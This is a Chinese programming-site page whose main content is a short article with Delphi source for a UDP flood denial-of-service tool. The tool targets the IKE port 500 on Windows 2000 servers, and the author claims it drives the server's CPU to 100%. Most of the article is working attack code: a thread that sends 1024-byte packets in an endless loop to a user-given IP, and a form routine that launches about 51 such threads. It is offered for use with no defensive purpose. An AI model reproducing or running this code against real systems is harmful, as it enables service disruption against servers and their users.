程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 更多編程語言 >> Delphi >> udp500D.O.S攻擊

udp500D.O.S攻擊

編輯:Delphi

  前些日子,看見有文章說win2000服務器的500端口對flood攻擊防御不是很好,我測試了一下,發現很有效果,對win2000服務器的udp500發送大量包的時候,win2000服務器的cpu率一下子達到了100%,而且反應立刻遲鈍下來.

程序如下:

線程程序://線程的執行代碼,創建線程請用菜單new一個TheadObject

uses winsock;

procedure udpdos.Execute;
var
wsa:TWSAData;
s: TSocket;
sockin: TSockAddrIn;
buf:array[0..1023] of byte;
i: integer;
DIP:string;
begin
  { Place thread code here }
//win2000下利用ike(udp 500)的DOS攻擊
//by 楊順
  FreeOnTerminate := true;

//destIP是主Form裡面上,就是要攻擊的對象,在主Form裡面申明一個這樣的變量就可以了
  DIP := DestIP;

//填充buf
  for i := 0 to 1023 do
    buf[i] := 97;

//初始化socket2
  WSAStartup($101,wsa);

//創建udp socket
  s := socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  sockin.sin_family := AF_INET;
  sockin.sin_port := htons(IKE);
  sockin.sin_addr.S_addr := inet_addr(pchar(DIP));
  while true do
  begin
    if self.Terminated then
      break;

   //發送數據報
    sendto(s,buf,1024,0,sockin,sizeof(sockin));
  end;
  closesocket(s);
  WSACleanup;

 end;

主form裡面,調用

  for i := 0 to 50 do
  begin
    udpdos.Create(false); //創建50多個線程,進行攻擊
  end;

順便提一下,堅持用戶輸入的ip是否合法,一句話就可以了

uses winsock

  if inet_addr(pchar(DestIP)) =  inaddr_none  then
  begin
    showmessage(輸入的IP地址錯誤);
    exit;
  end;

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved